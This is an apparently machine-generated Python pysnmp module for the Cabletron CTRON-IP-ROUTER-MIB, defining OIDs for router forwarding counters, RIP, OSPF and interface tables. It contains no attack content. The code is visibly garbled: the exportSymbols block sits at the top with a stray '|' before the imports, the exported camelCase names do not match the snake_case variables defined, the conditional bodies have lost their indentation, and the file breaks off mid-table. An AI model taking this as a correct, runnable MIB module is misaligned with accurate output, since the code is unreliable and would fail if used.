mibBuilder.exportSymbols("CTRON-IP-ROUTER-MIB", nwIpOspfStaticTable=nwIpOspfStaticTable, nwIpWgHostDefIdent=nwIpWgHostDefIdent, nwIpAddrIfControl=nwIpAddrIfControl, nwIpRipIfConfig=nwIpRipIfConfig, nwIpFwdIfCtrLenErrPkts=nwIpFwdIfCtrLenErrPkts, nwIpHostMapFraming=nwIpHostMapFraming, nwIpRipVersion=nwIpRipVersion, nwIpOspfFib=nwIpOspfFib, nwIpRipIfCtrDiscardPkts=nwIpRipIfCtrDiscardPkts, nwIpRipSystem=nwIpRipSystem, nwIpWgHostPhysAddr=nwIpWgHostPhysAddr, nwIpWgDefRowStatus=nwIpWgDefRowStatus, nwIpOspfLeakAllRipRoutes=nwIpOspfLeakAllRipRoutes, nwIpOspfCtrOperationalTime=nwIpOspfCtrOperationalTime, nwIpWgHostTable=nwIpWgHostTable, nwIpRipRtMask=nwIpRipRtMask, nwIpEventFltrSeverity=nwIpEventFltrSeverity, nwIpOspfIfConfig=nwIpOspfIfConfig, nwIpFwdIfCtrHostDiscardPkts=nwIpFwdIfCtrHostDiscardPkts, nwIpRipRtAge=nwIpRipRtAge, nwIpHostCtlCacheMisses=nwIpHostCtlCacheMisses, nwIpEventTextString=nwIpEventTextString, nwIpOspfVersion=nwIpOspfVersion, nwIpOspfStaticNextHop=nwIpOspfStaticNextHop, nwIpRipIfIndex=nwIpRipIfIndex, nwIpAclPermission=nwIpAclPermission, nwIpHostsInterfaces=nwIpHostsInterfaces, nwIpRipRtNetId=nwIpRipRtNetId, nwIpFwdIfCtrHostDiscardBytes=nwIpFwdIfCtrHostDiscardBytes, nwIpWgDefTable=nwIpWgDefTable, nwIpRipCtrInPkts=nwIpRipCtrInPkts, nwIpRipAdminStatus=nwIpRipAdminStatus, nwIpFwdIfCtrInBytes=nwIpFwdIfCtrInBytes, nwIpOspfThreadPriority=nwIpOspfThreadPriority, nwIpEventFltrControl=nwIpEventFltrControl, nwIpWgRngPhysAddr=nwIpWgRngPhysAddr, nwIpOspfIfCtrTable=nwIpOspfIfCtrTable, nwIpSysRouterId=nwIpSysRouterId, nwIpOspfRipTable=nwIpOspfRipTable, nwIpFilters=nwIpFilters, nwIpRedirector=nwIpRedirector, nwIpFwdIfEntry=nwIpFwdIfEntry, nwIpFwdIfCtrFilteredPkts=nwIpFwdIfCtrFilteredPkts, nwIpHostCtlSnooping=nwIpHostCtlSnooping, nwIpRipIfVersion=nwIpRipIfVersion, nwIpEventMaxEntries=nwIpEventMaxEntries, nwIpAddrIfAddrType=nwIpAddrIfAddrType, nwIpSysAdministration=nwIpSysAdministration, nwIpRipThreadPriority=nwIpRipThreadPriority, nwIpOspfIfType=nwIpOspfIfType, nwIpOspfIfCtrDiscardBytes=nwIpOspfIfCtrDiscardBytes, nwIpFwdSystem=nwIpFwdSystem, nwIpFwdCtrHostOutPkts=nwIpFwdCtrHostOutPkts, nwIpWgDefIdentifier=nwIpWgDefIdentifier, nwIpFwdCtrLenErrPkts=nwIpFwdCtrLenErrPkts, nwIpRipHoldDown=nwIpRipHoldDown, nwIpRipIfEntry=nwIpRipIfEntry, nwIpFwdIfOperStatus=nwIpFwdIfOperStatus, nwIpRip=nwIpRip, nwIpFwdIfCacheMisses=nwIpFwdIfCacheMisses, nwIpFwdIfCtrDiscardBytes=nwIpFwdIfCtrDiscardBytes, nwIpOspfCtrDiscardBytes=nwIpOspfCtrDiscardBytes, nwIpFwdCtrFilteredBytes=nwIpFwdCtrFilteredBytes, nwIpOspfIfAclStatus=nwIpOspfIfAclStatus, nwIpEventFilterEntry=nwIpEventFilterEntry, nwIpWgIfOperStatus=nwIpWgIfOperStatus, nwIpOspfStaticEntry=nwIpOspfStaticEntry, nwIpFwdCtrHostDiscardPkts=nwIpFwdCtrHostDiscardPkts, nwIpFwdCtrHostDiscardBytes=nwIpFwdCtrHostDiscardBytes, nwIpFwdCtrOutPkts=nwIpFwdCtrOutPkts, nwIpDistanceVector=nwIpDistanceVector, nwIpAclValidEntries=nwIpAclValidEntries, nwIpSysOperationalTime=nwIpSysOperationalTime, nwIpOspfFibEntries=nwIpOspfFibEntries, nwIpOspfConfig=nwIpOspfConfig, nwIpFwdIfCtrAdminStatus=nwIpFwdIfCtrAdminStatus, nwIpWgRngOperStatus=nwIpWgRngOperStatus, nwIpFwdIfCtrFwdPkts=nwIpFwdIfCtrFwdPkts, nwIpOspfLeakAllBgp4Routes=nwIpOspfLeakAllBgp4Routes, nwIpFwdCtrHdrErrPkts=nwIpFwdCtrHdrErrPkts, nwIpAddrIfIndex=nwIpAddrIfIndex, nwIpOspfStaticDest=nwIpOspfStaticDest, nwIpOspfDynamicTable=nwIpOspfDynamicTable, nwIpRipIfXmitCost=nwIpRipIfXmitCost, nwIpOspfCtrFilteredPkts=nwIpOspfCtrFilteredPkts, nwIpFwdIfCtrHostInPkts=nwIpFwdIfCtrHostInPkts, nwIpFwdIfCtrDiscardPkts=nwIpFwdIfCtrDiscardPkts, nwIpFwdIfCtrOutBytes=nwIpFwdIfCtrOutBytes, nwIpRipFilters=nwIpRipFilters, nwIpOspf=nwIpOspf, nwIpRipIfCtrAdminStatus=nwIpRipIfCtrAdminStatus, nwIpRipIfCtrOperationalTime=nwIpRipIfCtrOperationalTime, nwIpHostCtlNumDynamics=nwIpHostCtlNumDynamics, nwIpEventNumber=nwIpEventNumber, nwIpWgDefFastPath=nwIpWgDefFastPath, nwIpRipConfig=nwIpRipConfig, nwIpFwdCtrOutBytes=nwIpFwdCtrOutBytes, nwIpRipCtrReset=nwIpRipCtrReset, nwIpOspfStaticMetricType=nwIpOspfStaticMetricType, nwIpAddrEntry=nwIpAddrEntry, nwIpAddrIfMask=nwIpAddrIfMask)
| (object_identifier, octet_string, integer) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'OctetString', 'Integer')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(value_range_constraint, single_value_constraint, constraints_intersection, value_size_constraint, constraints_union) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueRangeConstraint', 'SingleValueConstraint', 'ConstraintsIntersection', 'ValueSizeConstraint', 'ConstraintsUnion')
(nw_rtr_proto_suites,) = mibBuilder.importSymbols('ROUTER-OIDS', 'nwRtrProtoSuites')
(notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance')
(unsigned32, iso, ip_address, mib_scalar, mib_table, mib_table_row, mib_table_column, notification_type, bits, time_ticks, mib_identifier, object_identity, module_identity, gauge32, integer32, counter32, counter64) = mibBuilder.importSymbols('SNMPv2-SMI', 'Unsigned32', 'iso', 'IpAddress', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'NotificationType', 'Bits', 'TimeTicks', 'MibIdentifier', 'ObjectIdentity', 'ModuleIdentity', 'Gauge32', 'Integer32', 'Counter32', 'Counter64')
(display_string, phys_address, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'PhysAddress', 'TextualConvention')
nw_ip_router = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1))
nw_ip_mibs = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 1))
nw_ip_components = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2))
nw_ip_system = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1))
nw_ip_forwarding = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2))
nw_ip_topology = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4))
nw_ip_fib = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5))
nw_ip_end_systems = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6))
nw_ip_access_control = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7))
nw_ip_filters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 8))
nw_ip_redirector = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9))
nw_ip_event = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10))
nw_ip_work_group = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11))
nw_ip_client_services = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 12))
nw_ip_sys_config = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 1))
nw_ip_sys_administration = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2))
nw_ip_fwd_system = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1))
nw_ip_fwd_interfaces = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2))
nw_ip_fwd_counters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1))
nw_ip_fwd_if_config = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1))
nw_ip_fwd_if_counters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 2))
nw_ip_distance_vector = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1))
nw_ip_link_state = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2))
nw_ip_rip = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1))
nw_ip_rip_system = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1))
nw_ip_rip_interfaces = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2))
nw_ip_rip_database = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 3))
nw_ip_rip_filters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 4))
nw_ip_rip_config = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 1))
nw_ip_rip_counters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 1, 2))
nw_ip_rip_if_config = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 1))
nw_ip_rip_if_counters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 1, 1, 2, 2))
nw_ip_ospf = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1))
nw_ip_ospf_system = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1))
nw_ip_ospf_interfaces = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2))
nw_ip_ospf_database = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 3))
nw_ip_ospf_filters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 4))
nw_ip_ospf_config = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 1))
nw_ip_ospf_counters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 1, 2))
nw_ip_ospf_if_config = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 1))
nw_ip_ospf_if_counters = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4, 2, 1, 2, 2))
nw_ip_fib_system = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 1))
nw_ip_ospf_fib = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2))
nw_ip_ospf_fib_control = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 1))
nw_ip_ospf_fib_entries = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5, 2, 2))
nw_ip_hosts_system = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 1))
nw_ip_hosts_interfaces = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 2))
nw_ip_hosts_to_media = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6, 3))
nw_ip_redirector_system = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1))
nw_ip_redirector_interface = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 2))
nw_ip_event_log_config = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1))
nw_ip_event_log_filter_table = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2))
nw_ip_event_log_table = mib_identifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3))
nw_ip_mib_rev_text = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 1, 1), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpMibRevText.setStatus('mandatory')
nw_ip_sys_router_id = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 1, 1), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpSysRouterId.setStatus('mandatory')
nw_ip_sys_admin_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpSysAdminStatus.setStatus('mandatory')
nw_ip_sys_oper_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3), ('pending-disable', 4), ('pending-enable', 5), ('invalid-config', 6)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpSysOperStatus.setStatus('mandatory')
nw_ip_sys_admin_reset = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpSysAdminReset.setStatus('mandatory')
nw_ip_sys_operational_time = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpSysOperationalTime.setStatus('mandatory')
nw_ip_sys_version = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1, 2, 5), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpSysVersion.setStatus('mandatory')
nw_ip_fwd_ctr_admin_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdCtrAdminStatus.setStatus('mandatory')
nw_ip_fwd_ctr_reset = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('other', 1), ('reset', 2))).clone('other')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdCtrReset.setStatus('mandatory')
nw_ip_fwd_ctr_operational_time = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 3), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrOperationalTime.setStatus('mandatory')
nw_ip_fwd_ctr_in_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 4), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrInPkts.setStatus('mandatory')
nw_ip_fwd_ctr_out_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 5), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrOutPkts.setStatus('mandatory')
nw_ip_fwd_ctr_fwd_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 6), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrFwdPkts.setStatus('mandatory')
nw_ip_fwd_ctr_filtered_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 7), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrFilteredPkts.setStatus('mandatory')
nw_ip_fwd_ctr_discard_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 8), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrDiscardPkts.setStatus('mandatory')
nw_ip_fwd_ctr_addr_err_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 9), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrAddrErrPkts.setStatus('mandatory')
nw_ip_fwd_ctr_len_err_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 10), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrLenErrPkts.setStatus('mandatory')
nw_ip_fwd_ctr_hdr_err_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 11), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrHdrErrPkts.setStatus('mandatory')
nw_ip_fwd_ctr_in_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 12), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrInBytes.setStatus('mandatory')
nw_ip_fwd_ctr_out_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 13), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrOutBytes.setStatus('mandatory')
nw_ip_fwd_ctr_fwd_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 14), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrFwdBytes.setStatus('mandatory')
nw_ip_fwd_ctr_filtered_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 15), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrFilteredBytes.setStatus('mandatory')
nw_ip_fwd_ctr_discard_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 16), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrDiscardBytes.setStatus('mandatory')
nw_ip_fwd_ctr_host_in_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 17), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrHostInPkts.setStatus('mandatory')
nw_ip_fwd_ctr_host_out_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 18), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrHostOutPkts.setStatus('mandatory')
nw_ip_fwd_ctr_host_discard_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 19), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrHostDiscardPkts.setStatus('mandatory')
nw_ip_fwd_ctr_host_in_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 20), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrHostInBytes.setStatus('mandatory')
nw_ip_fwd_ctr_host_out_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 21), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrHostOutBytes.setStatus('mandatory')
nw_ip_fwd_ctr_host_discard_bytes = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 1, 1, 22), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdCtrHostDiscardBytes.setStatus('mandatory')
nw_ip_fwd_if_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1))
if mibBuilder.loadTexts:
nwIpFwdIfTable.setStatus('mandatory')
nw_ip_fwd_if_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpFwdIfIndex'))
if mibBuilder.loadTexts:
nwIpFwdIfEntry.setStatus('mandatory')
nw_ip_fwd_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfIndex.setStatus('mandatory')
nw_ip_fwd_if_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfAdminStatus.setStatus('mandatory')
nw_ip_fwd_if_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3), ('pending-disable', 4), ('pending-enable', 5), ('invalid-config', 6)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfOperStatus.setStatus('mandatory')
nw_ip_fwd_if_operational_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 4), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfOperationalTime.setStatus('mandatory')
nw_ip_fwd_if_control = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('add', 2), ('delete', 3))).clone('add')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfControl.setStatus('mandatory')
nw_ip_fwd_if_mtu = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 6), integer32().clone(1500)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfMtu.setStatus('mandatory')
nw_ip_fwd_if_forwarding = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfForwarding.setStatus('mandatory')
nw_ip_fwd_if_frame_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 5, 7, 8, 9, 11, 14, 16, 17))).clone(namedValues=named_values(('other', 1), ('ethernet', 2), ('snap', 3), ('slip', 5), ('localtalk', 7), ('nativewan', 8), ('encapenet', 9), ('encapenetsnap', 11), ('encaptrsnap', 14), ('encapfddisnap', 16), ('canonical', 17))).clone('ethernet')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfFrameType.setStatus('mandatory')
nw_ip_fwd_if_acl_identifier = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 9), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfAclIdentifier.setStatus('mandatory')
nw_ip_fwd_if_acl_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 10), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfAclStatus.setStatus('mandatory')
nw_ip_fwd_if_cache_control = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 11), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disable', 2), ('enable', 3))).clone('enable')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpFwdIfCacheControl.setStatus('mandatory')
nw_ip_fwd_if_cache_entries = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 12), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCacheEntries.setStatus('mandatory')
nw_ip_fwd_if_cache_hits = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 13), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCacheHits.setStatus('mandatory')
nw_ip_fwd_if_cache_misses = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 1, 1, 14), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpFwdIfCacheMisses.setStatus('mandatory')
nw_ip_address_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2))
if mibBuilder.loadTexts:
nwIpAddressTable.setStatus('mandatory')
nw_ip_addr_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpAddrIfIndex'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpAddrIfAddress'))
if mibBuilder.loadTexts:
nwIpAddrEntry.setStatus('mandatory')
nw_ip_addr_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2, 2, 1, 2, 1, 1), integer32()).setMaxAccess('readwrite')
